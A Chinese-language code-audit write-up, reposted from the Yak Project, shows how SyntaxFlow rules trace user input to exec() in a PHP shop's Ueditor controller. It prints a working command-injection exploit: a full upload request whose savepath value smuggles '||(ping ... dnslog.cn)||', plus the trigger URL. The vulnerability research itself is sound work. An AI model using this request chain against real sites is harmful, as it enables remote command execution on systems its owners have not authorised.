SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

admin 2025年5月19日16:16:20评论24 views字数 8404阅读28分0秒阅读模式
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

在进行代码审计时,我们首先需要确定危险的 "source" (输入源) "sink" (危险执行点)。使用 SyntaxFlow,我们可以快速编写规则来定位这些点:

request() as $sourceexec(* as $sink)$sink #{    include<<<CODE* & $sourceCODE}-> as $vul

这个规则的含义是:

1. 将 request() 函数标记为数据源 ($source);

2. 将 exec() 函数标记为危险执行点 ($sink);

3. 检测从 $source 到 $sink 的数据流路径,若存在则标记为漏洞 ($vul)。

通过这个规则,SyntaxFlow 很快就定位到了一个可疑点:

application/admin/Controller/Ueditor.php 中的 setVideoImg 方法。

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

让我们查看这个可疑方法的具体实现:

public function setVideoImg($file){    $pre = dirname(dirname(dirname(__DIR__)));    if(IS_WIN) {        $ffmpeg = $pre . '/public/plugins/ffmpeg/bin/ffmpeg.exe';        if(!file_exists($ffmpeg))   return $ffmpeg.' /no ffmpeg';    }else{        $ffmpeg = '/monchickey/ffmpeg/bin/ffmpeg';        if(!file_exists($ffmpeg)){            //$ffmpeg = '/usr/bin/ffmpeg';            $ffmpeg = 'ffmpeg';        }    }    //if(!file_exists($ffmpeg)) return $ffmpeg.' /no ffmpeg';    $arr = explode('.'$file);    $jpg = $pre . $arr[0] . '.jpg';    $path = $pre . $file;    // echo $path;echo "<br>";    if(file_exists($path)){        // 调试时打印        echo "$ffmpeg -i $path -ss 2 -vframes 1 $jpg";echo "<br>";        exec("$ffmpeg -i $path -ss 2 -vframes 1 $jpg",$re);        print_r($re);echo "<br>";        return $re;    }else{        return $path.' /no path';    }}

从代码块可以发现很明显的命令拼接,我们需要具体地查看调用流程。

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

SyntaxFlow 帮我们定位到了漏洞点,但要真正理解漏洞成因和利用方式,我们需要深入分析代码。

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

通过跟踪 SyntaxFlow 标记的数据流,我们发现问题的核心在于:

1. $file 参数可由用户控制;

2. 该参数经过简单拼接后直接传入 exec() 函数执行。

简化一下上面的代码:

$pre = dirname(dirname(dirname(__DIR__)));$arr = explode('.'$file);$jpg = $pre . $arr[0] . '.jpg';$path = $pre . $file;...

其实就是传入了 file 变量,然后 $path 进行了一个拼接,然后进行了 exec 函数。那么,思路就很清晰了。

就是找到关于文件的可控点:

1. 文件路径可控   2. 文件名可控

这里的 $path 如果能够被用户控制,就可以通过注入特殊字符来执行任意命令。但我们还需要解决一个问题:file_exists($path) 检查必须返回 true 才能继续执行。

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

值得注意的是,某 shop 对上传的文件名进行了随机化处理,我们发现了相关代码:

public function move($path$savename true$replace true){    // 文件上传失败,捕获错误代码    if(!empty($this->info['error'])) {        $this->error($this->info['error']);        return false;    }    // 检测合法性    if(!$this->isValid()) {        $this->error = 'upload illegal files';        return false;    }    // 验证上传    if(!$this->check()) {        return false;    }    $path rtrim($path, DS) . DS;    // 文件保存命名规则    $saveName $this->buildSaveName($savename);    $filename $path $saveName;    $filename2 strtolower($filename);    if(strstr($filename2,'../') || strstr($filename2,'..\') || strstr($filename2,'.php'))    {        $this->error = '文件上传格式错误 error !';        return false;    }    // 检测目录    if(false === $this->checkPath(dirname($filename))) {        return false;    }    // 不覆盖同名文件    if(!$replace && is_file($filename)) {        $this->error = ['has the same filename: {:filename}', ['filename' => $filename]];        return false;    }    /* 移动文件 */    if($this->isTest) {        rename($this->filename, $filename);    } elseif(!move_uploaded_file($this->filename, $filename)) {        $this->error = 'upload write error';        return false;    }    // 返回 File 对象实例    $file new self($filename);    $file->setSaveName($saveName)->setUploadInfo($this->info);    return $file;}

这个方法通过调用 buildSaveName 方法实现文件名的随机化:

protected function buildSaveName($savename){    // 自动生成文件名    if(true === $savename) {        if($this->rule instanceof Closure) {            $savename call_user_func_array($this->rule, [$this]);        } else {            switch($this->rule) {                case 'date':                    $savename date('Ymd') . DS . md5(microtime(true));                    break;                default:                    if(in_array($this->rule, hash_algos())) {                        $hash     = $this->hash($this->rule);                        $savename substr($hash02) . DS . substr($hash2);                    } elseif(is_callable($this->rule)) {                        $savename call_user_func($this->rule);                    } else {                        $savename date('Ymd') . DS . md5(microtime(true));                    }            }        }    } elseif('' === $savename || false === $savename) {        $savename $this->getInfo('name');    }    if(!strpos($savename'.')) {        $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);    }    return $savename;}

这个函数会根据配置的规则生成随机文件名,默认使用当前日期和基于时间的 MD5 哈希值,从而降低了攻击者直接猜测或控制文件名的可能性。

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

虽然文件名被随机化,但我们注意到文件保存路径仍然是可控的。通过 savepath参数,我们可以控制文件的存储目录,这为后续的利用提供了可能。

通过跟踪 I() 函数的调用,我们发现在 Ueditor 控制器的构造函数中:

public function __construct(){    parent::__construct();    date_default_timezone_set("Asia/Shanghai");    $savePath = I('savepath'?: I('savePath');    // 如果获取到了savePath,就使用用户提供的值并在末尾加上斜杠,否则使用默认值'temp/'    $this->savePath = $savePath ? $savePath . '/' : 'temp/';    error_reporting(E_ERROR | E_WARNING);    header("Content-Type: text/html; charset=utf-8");}

漏洞关键构造函数中的 $savePath = I('savepath') ?: I('savePath') ;允许攻击者控制文件保存路径。这个路径可以包含特殊字符,用于后续的命令注入。

这里的 savePath 参数可以通过 I('savepath') 获取:

functionI($name,$default='',$filter='htmlspecialchars',$datas=null{    $value input($name,'',$filter);            if($value !== null && $value !== ''){        return $value;    }    if(strstr($name'.'))      {        $name explode('.'$name);        $value input(end($name),'',$filter);                   if($value !== null && $value !== '')            return $value;                }      return $default;        

这个函数使用 input() 函数获取用户输入并应用 htmlspecialchars 过滤,但是htmlspecialchars()只适用于 HTML 输出场景,防止 XSS 攻击,无法有效防止命令注入或路径注入攻击。

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

通过 SyntaxFlow 的数据流分析,我们已经掌握了从输入源到危险执行点的完整路径。现在,我们需要构建一个实际可行的攻击链:

1. 首先,通过文件上传接口上传一个文件,构造 savepath 参数;

2. 然后,调用 setVideoImg 方法,传入特殊构造的 file 参数;

3. 利用命令拼接符( || ,  && ,  等)注入恶意命令。

关键点:绕过 file_exists 检查

这里最关键的难点是绕过 file_exists 检查。

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

上传文件时控制生成一个目录:

POST /index.php/admin/ueditor/index?action=uploadfile&savepath=robots.txt%20-ss%202%20-vframes%201%201.jpg||(ping%20-c%204%20dnslog.cn)|| HTTP/1.1

这样,当我们访问 setVideoImg 方法时,exec 执行:

http://target/index.php/admin/ueditor/setVideoImg?file=/public/upload/robots.txt -ss 2 -vframes 1 1.jpg||(ping dnslog.cn)||
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

基于 SyntaxFlow 的分析结果,我们构建了完整的利用链。下面是具体的攻击步骤:

1. 首先上传文件并注入命令:

POST /index.php/admin/ueditor/index?action=uploadfile&savepath=robots.txt%20-ss%202%20-vframes%201%201.jpg||(ping%20-c%204%203z2xe7.dnslog.cn)|| HTTP/1.1Host: 127.0.0.1Content-Length: 200Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryatyAGKOM03ReQwU5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=n0jfoc6r2i1n658o0poe0l05q3; parent_region=%5B%7B%22id%22%3A3%2C%22name%22%3A%22%u4E1C%u57CE%u533A%22%7D%2C%7B%22id%22%3A14%2C%22name%22%3A%22%u897F%u57CE%u533A%22%7D%2C%7B%22id%22%3A22%2C%22name%22%3A%22%u5D07%u6587%u533A%22%7D%2C%7B%22id%22%3A30%2C%22name%22%3A%22%u5BA3%u6B66%u533A%22%7D%2C%7B%22id%22%3A39%2C%22name%22%3A%22%u671D%u9633%u533A%22%7D%2C%7B%22id%22%3A83%2C%22name%22%3A%22%u4E30%u53F0%u533A%22%7D%2C%7B%22id%22%3A105%2C%22name%22%3A%22%u77F3%u666F%u5C71%u533A%22%7D%2C%7B%22id%22%3A115%2C%22name%22%3A%22%u6D77%u6DC0%u533A%22%7D%2C%7B%22id%22%3A145%2C%22name%22%3A%22%u95E8%u5934%u6C9F%u533A%22%7D%2C%7B%22id%22%3A159%2C%22name%22%3A%22%u623F%u5C71%u533A%22%7D%2C%7B%22id%22%3A188%2C%22name%22%3A%22%u901A%u5DDE%u533A%22%7D%2C%7B%22id%22%3A204%2C%22name%22%3A%22%u987A%u4E49%u533A%22%7D%2C%7B%22id%22%3A227%2C%22name%22%3A%22%u660C%u5E73%u533A%22%7D%2C%7B%22id%22%3A245%2C%22name%22%3A%22%u5927%u5174%u533A%22%7D%2C%7B%22id%22%3A264%2C%22name%22%3A%22%u6000%u67D4%u533A%22%7D%2C%7B%22id%22%3A281%2C%22name%22%3A%22%u5E73%u8C37%u533A%22%7D%5D; cn=0; CNZZDATA009=30037667-1536735; province_id=1; city_id=2; district_id=3; is_mobile=0; admin_type=1; workspaceParam=change%7CTemplate------WebKitFormBoundaryatyAGKOM03ReQwU5Content-Disposition: form-data; name="upfile"; filename="/a/test.xls"Content-Type: application/vnd.ms-excel1------WebKitFormBoundaryatyAGKOM03ReQwU5--

2. 然后触发命令执行:

http://127.0.0.1/index.php/admin/ueditor/setVideoImg?file=/public/upload/robots.txt%20-ss%202%20-vframes%201%201.jpg||(ping%20-c%204%203z2xe7.dnslog.cn)||

执行成功,我们在 DNSLog 平台上收到了请求,证明命令被成功执行:

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!
SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

通过本次的实战,我们看到 SyntaxFlow 在静态代码审计中的强大作用:

1. 高效定位通过简单的规则即可快速锁定潜在的漏洞点;

2. 精准分析数据流分析功能帮助我们理清从输入源到危险执行点的完整路径;

3. 降低门槛即使对代码不熟悉,也能快速识别关键点。

某 shop 的 RCE 漏洞本质上是一个典型的命令注入问题,关键点在于:

1. 用户输入通过 I() 函数获取后未经过滤;

2. exec() 函数直接执行拼接了用户输入的命令;

3. 通过命令拼接符实现了对 file_exists 检查的绕过。

最后,这也提醒我们在开发中应当格外注意:任何用户可控的输入都不应该直接或间接流入危险函数,必须进行严格的过滤和校验。

END

YAK官方资源 

Yak 语言官方教程:https://yaklang.com/docs/intro/Yakit 视频教程:https://space.bilibili.com/437503777Github下载地址:https://github.com/yaklang/yakitYakit官网下载地址:https://yaklang.com/Yakit安装文档:https://yaklang.com/products/download_and_installYakit使用文档:https://yaklang.com/products/intro/常见问题速查:https://yaklang.com/products/FAQ

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

原文始发于微信公众号(Yak Project):SyntaxFlow 代码审计实战解析,拆解整个攻击链路!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日16:16:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SyntaxFlow 代码审计实战解析,拆解整个攻击链路!https://cn-sec.com/archives/4047162.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息